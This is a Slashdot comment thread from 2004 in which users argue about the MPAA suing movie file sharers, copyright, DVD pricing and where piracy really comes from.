    It seems that this is clearly the kind of thing Americans want. If the capacity for outrage doesn't exist for prisoners of war abused in Iraq, if it doesn't exist for voting machine manufacturers pledging money and support for only one party, if it doesn't exist for the zero accountability expected of the Enron, Worldcom, and Haliburton criminals... why should any American give a second thought to the people who will be fscked by the MPAA?

    As has been said by people more eloquent than I, it's too late [austinchronicle.com] anyway.

  • Spot the Astroturfer (Score:3, Insightful)

    by Piquan ( 49943 ) on Thursday November 04, 2004 @02:50AM (#10720847)

    Tired of the boring ol' "Spot the Fed" game at Defcon? In this article, we can play "Spot the Astroturfer"! No t-shirts, just pride, but then again you don't have to try to expense a Vegas trip to an increasingly suspicious finance dept. So I think it works out even.

    Pay special attention to phrases repeated by supposedly different posters (even though that's also a staple of genuine Slashdotters), and ACs replying to themselves with "I agree!".

    Get spotting, and post your Astroturfer-spotting tips here!

  • What do I get? (Score:5, Interesting)

    by arose ( 644256 ) on Thursday November 04, 2004 @04:13AM (#10721175)
    Sometimes I have to ask myself, what do I get out of copyright as it stands today? Public domain is stale with little adding to it while production of copyrighted works and profit from them is at an all time high. The works I want aren't (legaly) avainlable here anyway, not to mention insane prices compared to typical income. What do I get? Marketing to get me excited over things I can't buy, thank you copyright!

  • MPAA has a stronger case than RIAA (Score:4, Interesting)

    by AWhistler ( 597388 ) on Thursday November 04, 2004 @08:52AM (#10722201)
    When you can walk into a store, pay $16.99 for a DVD, new release, or less for an older movie, and you get not just the movie, but trailers (who watches these?), commentary, featurettes, and subtitles, I think this is a reasonable price to pay for a DVD. I see no reason to share these movies with strangers.

    Now, paying $16.99 or more for a CD with 10-12 songs, 9 of which I couldn't care less about, that's another story. While I haven't and won't share, I can certainly understand the argument.

    So I don't really have a problem with MPAA doing this, as long as the prices stay where they are as a result.

  • Wrong People (Score:3, Insightful)

    by thebdj ( 768618 ) on Thursday November 04, 2004 @09:35AM (#10722443) Journal
    They are going after the wrong people. The could stop about 3/4 of the piracy by cleaning up their own studios. A lot of those early DVD screeners all get out because of insiders and movie cam captures are a problem with theaters. Stop piracy there not at the end.

Slashdot Top Deals

Work continues in this area. -- DEC's SPR-Answering-Automaton

Close